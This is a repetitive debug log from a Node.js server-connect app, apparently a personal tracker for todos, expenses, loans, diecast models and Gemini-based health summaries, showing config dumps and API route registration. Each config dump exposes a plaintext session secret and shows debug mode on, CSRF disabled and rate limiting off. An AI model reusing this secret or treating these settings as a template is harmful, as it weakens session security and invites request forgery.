2026-07-23T16:06:12.987Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:06:12.987Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:06:12.987Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:06:12.987Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:06:12.988Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:07:13.192Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:07:13.353Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:07:13.444Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:07:13.445Z server-connect:secure CSRF Protection initialized
2026-07-23T16:07:13.447Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:07:13.447Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:07:13.447Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:07:13.448Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:07:13.448Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:07:13.449Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:07:13.451Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:07:13.452Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:07:13.452Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:07:13.453Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:07:13.453Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:07:13.453Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:07:13.454Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:07:13.454Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:07:13.455Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:07:13.479Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:07:13.479Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:07:13.480Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:07:13.480Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:07:13.480Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:07:13.481Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:07:13.481Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:07:13.481Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:07:13.482Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:07:13.482Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:07:13.482Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:07:13.482Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:07:13.482Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:07:13.483Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:07:13.483Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:07:13.483Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:07:13.483Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:07:13.483Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:07:13.484Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:07:13.484Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:07:13.484Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:07:13.484Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:07:13.484Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:08:13.634Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:08:13.814Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:08:13.896Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:08:13.897Z server-connect:secure CSRF Protection initialized
2026-07-23T16:08:13.899Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:08:13.899Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:08:13.899Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:08:13.900Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:08:13.900Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:08:13.901Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:08:13.903Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:08:13.904Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:08:13.904Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:08:13.905Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:08:13.905Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:08:13.906Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:08:13.906Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:08:13.907Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:08:13.909Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:08:13.910Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:08:13.910Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:08:13.910Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:08:13.910Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:08:13.911Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:08:13.911Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:08:13.911Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:08:13.912Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:08:13.912Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:08:13.912Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:08:13.912Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:08:13.913Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:08:13.913Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:08:13.913Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:08:13.913Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:08:13.914Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:08:13.914Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:08:13.914Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:08:13.914Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:08:13.914Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:08:13.915Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:08:13.915Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:08:13.915Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:09:14.135Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:09:14.310Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:09:14.394Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:09:14.394Z server-connect:secure CSRF Protection initialized
2026-07-23T16:09:14.396Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:09:14.397Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:09:14.397Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:09:14.397Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:09:14.398Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:09:14.400Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:09:14.401Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:09:14.401Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:09:14.402Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:09:14.402Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:09:14.403Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:09:14.403Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:09:14.403Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:09:14.406Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:09:14.407Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:09:14.407Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:09:14.407Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:09:14.408Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:09:14.408Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:09:14.408Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:09:14.409Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:09:14.409Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:09:14.409Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:09:14.409Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:09:14.410Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:09:14.410Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:09:14.410Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:09:14.410Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:09:14.411Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:09:14.411Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:09:14.411Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:09:14.411Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:09:14.411Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:09:14.412Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:09:14.412Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:09:14.412Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:09:14.412Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:09:14.412Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:10:15.763Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:10:15.977Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:10:16.055Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:10:16.055Z server-connect:secure CSRF Protection initialized
2026-07-23T16:10:16.057Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:10:16.058Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:10:16.058Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:10:16.058Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:10:16.060Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:10:16.061Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:10:16.077Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:10:16.080Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:10:16.081Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:10:16.081Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:10:16.081Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:10:16.082Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:10:16.082Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:10:16.082Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:10:16.083Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:10:16.083Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:10:16.083Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:10:16.084Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:10:16.084Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:10:16.084Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:10:16.085Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:10:16.085Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:10:16.085Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:10:16.085Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:10:16.086Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:10:16.086Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:10:16.086Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:10:16.086Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:10:16.087Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:10:16.087Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:10:16.087Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:10:16.087Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:10:16.088Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:10:16.088Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:10:16.088Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:10:16.088Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:10:16.088Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:10:16.089Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:11:16.276Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:11:16.476Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:11:16.551Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:11:16.551Z server-connect:secure CSRF Protection initialized
2026-07-23T16:11:16.553Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:11:16.553Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:11:16.554Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:11:16.554Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:11:16.555Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:11:16.555Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:11:16.557Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:11:16.558Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:11:16.559Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:11:16.559Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:11:16.559Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:11:16.560Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:11:16.560Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:11:16.560Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:11:16.561Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:11:16.561Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:11:16.562Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:11:16.576Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:11:16.577Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:11:16.581Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:11:16.581Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:11:16.582Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:11:16.582Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:11:16.582Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:11:16.582Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:11:16.583Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:11:16.583Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:11:16.583Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:11:16.583Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:11:16.583Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:11:16.584Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:11:16.584Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:11:16.584Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:11:16.584Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:11:16.584Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:11:16.585Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:11:16.585Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:11:16.585Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:12:16.742Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:12:16.924Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:12:17.015Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:12:17.015Z server-connect:secure CSRF Protection initialized
2026-07-23T16:12:17.017Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:12:17.017Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:12:17.018Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:12:17.018Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:12:17.019Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:12:17.019Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:12:17.022Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:12:17.023Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:12:17.024Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:12:17.025Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:12:17.025Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:12:17.028Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:12:17.029Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:12:17.030Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:12:17.030Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:12:17.031Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:12:17.031Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:12:17.032Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:12:17.033Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:12:17.033Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:12:17.034Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:12:17.034Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:12:17.035Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:12:17.035Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:12:17.035Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:12:17.036Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:12:17.036Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:12:17.036Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:12:17.037Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:12:17.037Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:12:17.038Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:12:17.076Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:12:17.077Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:12:17.077Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:12:17.077Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:12:17.077Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:12:17.077Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:12:17.078Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:43:18.486Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:43:19.687Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:43:20.552Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:43:20.552Z server-connect:secure CSRF Protection initialized
2026-07-23T16:43:20.558Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:43:20.558Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:43:20.561Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:43:20.562Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:43:20.569Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:43:20.573Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:43:20.590Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:43:20.599Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
